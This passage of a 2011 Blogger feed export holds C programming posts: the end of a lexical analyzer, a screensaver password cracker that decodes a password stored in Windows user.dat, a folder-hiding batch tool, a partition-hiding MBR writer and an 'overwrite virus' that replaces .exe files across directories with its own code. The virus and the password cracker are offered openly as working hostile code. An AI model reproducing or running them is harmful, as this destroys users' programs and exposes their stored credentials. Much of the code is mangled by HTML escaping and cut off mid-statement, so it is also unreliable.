/&gt;      if (ch==',')                //The character is comma.&lt;br /&gt; Add_To_Lexical(",",line,"comma");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      if (ch=='(')                //The character is parenthesis.&lt;br /&gt; Add_To_Lexical("(",line,"parenthesis");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      if (ch==')')                //The character is parenthesis.&lt;br /&gt; Add_To_Lexical(")",line,"parenthesis");&lt;br /&gt;&lt;br /&gt;     //The character is comparison_operator&lt;br /&gt;      if (ch=='&lt;' || ch=='=' || ch=='&gt;')&lt;br /&gt; Is_Comparison_Or_Not();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      Is_Special_Or_Not();       //After failed scaning in before cases&lt;br /&gt;     //check the character is special or not.&lt;br /&gt;      Demage_Lexeme();&lt;br /&gt;&lt;br /&gt;      if(isspace(ch) &amp;&amp; ch=='&lt;br /&gt;' )&lt;br /&gt;      {&lt;br /&gt;   line++;&lt;br /&gt;   ch=fgetc(fp);&lt;br /&gt;      }&lt;br /&gt;      else&lt;br /&gt;      ch=fgetc(fp);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;This function read all character of strings.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;void Read_String()&lt;br /&gt;{&lt;br /&gt;  int j=0;&lt;br /&gt;&lt;br /&gt;  do&lt;br /&gt;  {&lt;br /&gt;    lexeme[j++]=ch;&lt;br /&gt;    ch=fgetc(fp);&lt;br /&gt;  } while(isalpha(ch));&lt;br /&gt;&lt;br /&gt;    fseek(fp,-1,1);&lt;br /&gt;    lexeme[j]='&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8803146569966677740?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8803146569966677740/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/creating-lexical-analyzer-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8803146569966677740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8803146569966677740'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/creating-lexical-analyzer-in-c.html' title='Creating a Lexical Analyzer in c'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6024364220580685095</id><published>2011-03-20T20:10:00.001-07:00</published><updated>2011-03-20T20:10:35.801-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='intersting'/><title type='text'>ScreenSaver Password Cracker in C</title><content type='html'>/*&lt;br /&gt;Screen Saveer Password Cracker:&lt;br /&gt;Decrypts Screen Saver Password which is stored in user.dat.&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include ctype.h&lt;br /&gt;#include stdio.h&lt;br /&gt;#include string.h&lt;br /&gt;FILE *fp;&lt;br /&gt;char *path="c:\windows\user.dat";&lt;br /&gt;&lt;br /&gt;/*encrypted password stored in this file when u log on to default user..&lt;br /&gt;&lt;br /&gt;If there r multiple users..Password stored in&lt;br /&gt;\windowsprofilesuser-nameuser.dat...&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;unsigned long int search(char *s);&lt;br /&gt;char *encstr(unsigned long int loc);&lt;br /&gt;int toint(char a);&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;unsigned long int l;&lt;br /&gt;char s[51];&lt;br /&gt;int arr[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7,&lt;br /&gt;&amp;nbsp;&amp;nbsp; 15,8,5,4,9,5,9,7,5,15,7,8,13,9,13,10,6,12,5,9,13,7,6,11,3,5,12,5};&lt;br /&gt;&lt;br /&gt;//this array is 2 b xored with encrypted-string&lt;br /&gt;&lt;br /&gt;int s1[51],s2[51];&lt;br /&gt;int i,len,k;&lt;br /&gt;&lt;br /&gt;clrscr();&lt;br /&gt;l=search("ScreenSave_Data");&lt;br /&gt;strcpy(s,encstr(l));&lt;br /&gt;len=strlen(s);&lt;br /&gt;for(i=0;i&lt;len;i++)&lt; p=""&gt;&lt;/len;i++)&lt;&gt;&lt;br /&gt;{&lt;br /&gt;s1[i]=toint(s[i]);&lt;br /&gt;s2[i]=(s1[i])^(arr[i]);&lt;br /&gt;}&lt;br /&gt;printf("Current Screen Saver Password:&lt;br /&gt;");&lt;br /&gt;for(i=0;i&lt;len;i+=2)&lt; p=""&gt;&lt;/len;i+=2)&lt;&gt;&lt;br /&gt;printf("%c", (s2[i]*16)+(s2[i+1]) );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* Searches where ScreenSave_Data is there in the file&lt;br /&gt;&amp;nbsp;and returns the location*/&lt;br /&gt;unsigned long int search(char *s)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;int k=0,len,ch;&lt;br /&gt;&amp;nbsp;unsigned long int i=0;&lt;br /&gt;&amp;nbsp;fp=fopen(path,"rb");&lt;br /&gt;&amp;nbsp;len=strlen(s);&lt;br /&gt;&amp;nbsp;while( (ch=getc(fp))!=EOF)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;if(ch==s[k])&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;k++;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;else k=0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;i++;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if(k==len)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; return i;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* It returns Encrypted String*/&lt;br /&gt;&lt;br /&gt;char *encstr(unsigned long int loc)&lt;br /&gt;{&lt;br /&gt;char ch,s[55],ch1;&lt;br /&gt;int i=0;&lt;br /&gt;&lt;br /&gt;ch=toascii(0);&lt;br /&gt;fp=fopen(path,"rb");&lt;br /&gt;fseek(fp,loc,SEEK_SET);&lt;br /&gt;while( (ch1=fgetc(fp))!=ch)&lt;br /&gt;{ &amp;nbsp;s[i]=ch1;&lt;br /&gt;i++;&lt;br /&gt;}&lt;br /&gt;s[i]='&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6024364220580685095?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6024364220580685095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/screensaver-password-cracker-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6024364220580685095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6024364220580685095'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/screensaver-password-cracker-in-c.html' title='ScreenSaver Password Cracker in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-212801667783191111</id><published>2011-03-20T20:09:00.001-07:00</published><updated>2011-03-20T20:09:47.829-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='intersting'/><title type='text'>Folder Protection Software in C</title><content type='html'>#include stdio.h&lt;br /&gt;#include string.h&lt;br /&gt;#include process.h&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;FILE *p;&lt;br /&gt;char ch,s[100];&lt;br /&gt;char r[100]="REN ";&lt;br /&gt;&lt;br /&gt;char u[]=".{21EC2020-3AEA-1069-A2DD-08002B30309D} ";&lt;br /&gt;char v[50];&lt;br /&gt;int choice,i;&lt;br /&gt;&lt;br /&gt;clrscr();&lt;br /&gt;p=fopen("C:\a.bat","w+");&lt;br /&gt;if(p==NULL)&lt;br /&gt;{&lt;br /&gt;printf("&lt;br /&gt;Error in opening the file a.c&lt;br /&gt;");&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;printf("&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;Deepesh's Folder Obscure");&lt;br /&gt;printf("&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; File and Folder protection software in C By Deepesh&lt;br /&gt;Jain");&lt;br /&gt;printf("&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This software can convert your File/Folder to Control&lt;br /&gt;Panel&lt;br /&gt;and can Restore again.");&lt;br /&gt;printf("&lt;br /&gt;Enter the path of the file&lt;br /&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(s);&lt;br /&gt;&lt;br /&gt;for(i=0;i&amp;lt;25;i++)&lt;br /&gt;fputs("echo This software is not responsible for any loss in&lt;br /&gt;data&lt;br /&gt;",p);&lt;br /&gt;&lt;br /&gt;printf("&lt;br /&gt;Enter choice :");&lt;br /&gt;printf("&lt;br /&gt;1.Protect Folder/File");&lt;br /&gt;printf("&lt;br /&gt;2.Unprotect folder/File");&lt;br /&gt;printf("&lt;br /&gt;3.Exit&lt;br /&gt;");&lt;br /&gt;scanf("%d",&amp;amp;choice);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;switch(choice)&lt;br /&gt;{&lt;br /&gt;case 1:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; strcat(r,s);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; printf("&lt;br /&gt;Enter new name of your folder/file&lt;br /&gt;");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; gets(v);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; strcat(r," ");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; strcat(r,v);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; strcat(r,u);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; break;&lt;br /&gt;case 2:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; strcat(r,s);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; strcat(r,u);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; printf("&lt;br /&gt;Enter new name of your folder/file&lt;br /&gt;");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; gets(v);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; strcat(r,v);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; break;&lt;br /&gt;default:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; fclose(p);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; remove("C:\a.bat");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;fputs(r,p);&lt;br /&gt;for(i=0;i&amp;lt;25;i++)&lt;br /&gt;fputs("&lt;br /&gt;echo This software is not responsible for any loss in data&lt;br /&gt;",p);&lt;br /&gt;fputs("&lt;br /&gt;exit",p);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;fclose(p);&lt;br /&gt;&lt;br /&gt;system("C:\a.bat");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;remove("C:\a.bat");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-212801667783191111?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/212801667783191111/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/folder-protection-software-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/212801667783191111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/212801667783191111'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/folder-protection-software-in-c.html' title='Folder Protection Software in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8530303213121501710</id><published>2011-03-20T20:08:00.002-07:00</published><updated>2011-03-20T20:08:59.098-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='intersting'/><title type='text'>overwrite virus coded in C</title><content type='html'>Code :&lt;br /&gt;/*A virus program&lt;br /&gt;coded by Tapan Kumar Mishra&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; BE Electrical Engg.&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; IGIT Sarang,Orissa&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 7th sem&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;email id:titu_igit@rediffmail.com&lt;br /&gt;*/&lt;br /&gt;#include stdio.h&lt;br /&gt;#include dir.h&lt;br /&gt;#include dos.h&lt;br /&gt;void main(int argc,char *argv[])&lt;br /&gt;{&lt;br /&gt;int bytes,i,done;&lt;br /&gt;FILE *virus,*host;&lt;br /&gt;struct ffblk *f;&lt;br /&gt;char buffer[512];&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;done=findfirst("*.exe",f,0);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;while(!done)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;virus=fopen(argv[0],"rb");//open the virus in read mode&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;host=fopen(f-&amp;gt;ff_name,"rb+");//open the host file in r/w mode&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; for(;fread(buffer,512,1,virus)==1;)&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;fwrite(buffer,512,1,host);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;fclose(host);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;fseek(virus,0,0);//points to begining of virus&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;printf("infecting %s&lt;br /&gt;",f-&amp;gt;ff_name);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;done=findnext(f);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;br /&gt;}&lt;br /&gt;while(!chdir(".."));&lt;br /&gt;printf("For any querry contact&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Tapan Kumar&lt;br /&gt;Mishra,id:titu_igit@rediffmail.com");&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8530303213121501710?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8530303213121501710/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/overwrite-virus-coded-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8530303213121501710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8530303213121501710'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/overwrite-virus-coded-in-c.html' title='overwrite virus coded in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-7499655381479400446</id><published>2011-03-20T20:08:00.000-07:00</published><updated>2011-03-20T20:08:07.397-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hardware interaction through c'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='intersting'/><title type='text'>Partition Hiding Software in C</title><content type='html'>/* program to read the partition table of hard disk and can hide and&lt;br /&gt;revele partitions*/&lt;br /&gt;/*&lt;br /&gt;Release date: 1.1.2006&lt;br /&gt;&lt;br /&gt;Author: Tapan Kumar Mishra&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;7th sem ,Electrical Engg.&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;IGIT Sarang,Orissa&lt;br /&gt;&amp;nbsp;mailid:titu_igit@rediffmail.com&lt;br /&gt;&lt;br /&gt;About the program:&lt;br /&gt;&lt;br /&gt;This program is a part of my project to read ext2 linux file system&lt;br /&gt;under dos or win98.This program read the partition table of ur hard&lt;br /&gt;disk&lt;br /&gt;and print the informations about those.And can hide and revele the&lt;br /&gt;partitions&lt;br /&gt;by changing the systemid of that partions.&lt;br /&gt;&lt;br /&gt;Caution: Modification of the code may lead your&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;disk unusable.&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;The author is not responsible for any damage or dataloss.&lt;br /&gt;&lt;br /&gt;This program is tested under win98.&lt;br /&gt;compile it by Turbo c3&lt;br /&gt;Any comment,feedback,query mail to titu_igit@rediffmail.com&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include stdio.h&lt;br /&gt;#include bios.h&lt;br /&gt;#include dos.h&lt;br /&gt;#include stdlib.h&lt;br /&gt;&lt;br /&gt;typedef unsigned char BYTE;&lt;br /&gt;typedef unsigned int WORD;&lt;br /&gt;typedef unsigned long DWORD;&lt;br /&gt;&lt;br /&gt;enum BOOL {TRUE=0,FALSE=1};&lt;br /&gt;struct PARTITIONINFO {&lt;br /&gt;&amp;nbsp;BYTE bootid; &amp;nbsp; /* bootable? &amp;nbsp;0=no, 128=yes &amp;nbsp;*/&lt;br /&gt;&amp;nbsp;BYTE beghead; &amp;nbsp;/* beginning head number */&lt;br /&gt;&amp;nbsp;BYTE begsect; &amp;nbsp;/* beginning sector number */&lt;br /&gt;&amp;nbsp;BYTE begcyl; &amp;nbsp; /* 10 bit nmbr, with high 2 bits put in begsect */&lt;br /&gt;&amp;nbsp;BYTE systid; &amp;nbsp; /* Operating System type indicator code */&lt;br /&gt;&amp;nbsp;BYTE endhead; &amp;nbsp;/* ending head number */&lt;br /&gt;&amp;nbsp;BYTE endsect; &amp;nbsp;/* ending sector number */&lt;br /&gt;&amp;nbsp;BYTE endcyl; &amp;nbsp; /* also a 10 bit nmbr, with same high 2 bit trick */&lt;br /&gt;&amp;nbsp;DWORD relsect; /* first sector relative to start of disk */&lt;br /&gt;&amp;nbsp;DWORD numsect; /* number of sectors in partition */&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;struct DISK_ADD_PACKET {&lt;br /&gt;&amp;nbsp;BYTE recordsize;&lt;br /&gt;&amp;nbsp;BYTE reserved;&lt;br /&gt;&amp;nbsp;WORD count;&lt;br /&gt;&amp;nbsp;DWORD transferadd;&lt;br /&gt;&amp;nbsp;DWORD lowbits;&lt;br /&gt;&amp;nbsp;DWORD highbits;&lt;br /&gt;};&lt;br /&gt;struct MBR{&lt;br /&gt;&amp;nbsp;BYTE codes[446];&lt;br /&gt;&amp;nbsp;struct PARTITIONINFO partition[4];&lt;br /&gt;&amp;nbsp;WORD mbrid;&lt;br /&gt;};&lt;br /&gt;struct driveinfo{&lt;br /&gt;&amp;nbsp;DWORD startsect;&lt;br /&gt;&amp;nbsp;BYTE sysid;&lt;br /&gt;};&lt;br /&gt;WORD ExtentionCheck (BYTE drive)&lt;br /&gt;{&lt;br /&gt;union REGS regs;&lt;br /&gt;regs.h.ah = 0x41;&lt;br /&gt;regs.x.bx = 0x55aa;&lt;br /&gt;regs.h.dl = drive;&lt;br /&gt;int86(0x13,®s,®s);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if(regs.x.bx != 0xaa55)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;return FALSE;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return TRUE;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;WORD ReadSect(BYTE disk, int nsects,DWORD lsects,void* data)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;union REGS iregs,oregs;&lt;br /&gt;struct SREGS sregs;&lt;br /&gt;int count=0;&lt;br /&gt;struct DISK_ADD_PACKET * p;&lt;br /&gt;p = (struct DISK_ADD_PACKET *)malloc(sizeof(struct DISK_ADD_PACKET));&lt;br /&gt;p-&amp;gt;recordsize=sizeof(struct DISK_ADD_PACKET);&lt;br /&gt;p-&amp;gt;count=nsects;&lt;br /&gt;p-&amp;gt;transferadd=(DWORD)data;&lt;br /&gt;p-&amp;gt;lowbits=lsects;&lt;br /&gt;p-&amp;gt;highbits=0;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;/* We dont need to access HD &amp;gt; 2TB */&lt;br /&gt;iregs.h.ah = 0x42;&lt;br /&gt;iregs.h.dl = disk;&lt;br /&gt;iregs.x.si = FP_OFF(p);&lt;br /&gt;sregs.ds = FP_SEG(p);&lt;br /&gt;int86x(0x13,&amp;amp;iregs,&amp;amp;oregs,&amp;amp;sregs);&lt;br /&gt;if(oregs.h.ah==0)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;free(p);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;return TRUE;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;free(p);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return FALSE;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;WORD WriteSect(BYTE disk, int nsects,DWORD lsects,void* data)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;union REGS iregs,oregs;&lt;br /&gt;struct SREGS sregs;&lt;br /&gt;int count=0;&lt;br /&gt;struct DISK_ADD_PACKET * p;&lt;br /&gt;p = (struct DISK_ADD_PACKET *)malloc(sizeof(struct DISK_ADD_PACKET));&lt;br /&gt;p-&amp;gt;recordsize=sizeof(struct DISK_ADD_PACKET);&lt;br /&gt;p-&amp;gt;count=nsects;&lt;br /&gt;p-&amp;gt;transferadd=(DWORD)data;&lt;br /&gt;p-&amp;gt;lowbits=lsects;&lt;br /&gt;p-&amp;gt;highbits=0;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;/* We dont need to access HD &amp;gt; 2TB */&lt;br /&gt;iregs.x.ax = 0x4302;&lt;br /&gt;iregs.h.dl = disk;&lt;br /&gt;iregs.x.si = FP_OFF(p);&lt;br /&gt;sregs.ds = FP_SEG(p);&lt;br /&gt;int86x(0x13,&amp;amp;iregs,&amp;amp;oregs,&amp;amp;sregs);&lt;br /&gt;if(oregs.h.ah==0)&lt;br /&gt;{&lt;br /&gt;free(p);&lt;br /&gt;return TRUE;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;free(p);&lt;br /&gt;return FALSE;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;DWORD lsect=0;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;BYTE disk=0x80;&lt;br /&gt;WORD nsect=1,index=0,i=0,hi,choice;&lt;br /&gt;DWORD extsect;&lt;br /&gt;BYTE hideindex[5],id;&lt;br /&gt;struct MBR *mbr;&lt;br /&gt;struct driveinfo dinfo[10];//max 10 partitions&lt;br /&gt;mbr=(struct MBR *)malloc(sizeof(struct MBR));&lt;br /&gt;if(ExtentionCheck(disk)==FALSE)&lt;br /&gt;{printf("extended int 13 is not supported&lt;br /&gt;");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if(ReadSect(disk, nsect, lsect,(char *)mbr)==TRUE)&lt;br /&gt;for(i=0;i&amp;lt;4;i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;if(mbr-&amp;gt;partition[i].systid!=0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;{printpart(mbr,i);&lt;br /&gt;&amp;nbsp;&amp;nbsp;dinfo[index].startsect=lsect;&lt;br /&gt;&amp;nbsp;&amp;nbsp;dinfo[index].sysid=mbr-&amp;gt;partition[i].systid;&lt;br /&gt;&amp;nbsp;&amp;nbsp;index++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;if(mbr-&amp;gt;partition[1].systid==0xf)//0xf for extended partition&lt;br /&gt;&amp;nbsp;{lsect=mbr-&amp;gt;partition[1].relsect;&lt;br /&gt;&amp;nbsp;&amp;nbsp;extsect=lsect;&lt;br /&gt;link:&lt;br /&gt;&amp;nbsp;&amp;nbsp;if(ReadSect(disk, nsect, lsect,(char *)mbr)==TRUE)&lt;br /&gt;&amp;nbsp;&amp;nbsp; {printpart(mbr,0);&lt;br /&gt;&amp;nbsp;&amp;nbsp; dinfo[index].startsect=lsect;&lt;br /&gt;&amp;nbsp;&amp;nbsp; dinfo[index].sysid=mbr-&amp;gt;partition[0].systid;&lt;br /&gt;&amp;nbsp;&amp;nbsp; index++;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if(index&amp;gt;=10){printf("no of partition exceed max limit");exit(1);}&lt;br /&gt;&amp;nbsp;&amp;nbsp; if(mbr-&amp;gt;partition[1].systid!=0)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;{lsect=extsect+mbr-&amp;gt;partition[1].relsect;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; goto link;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;br 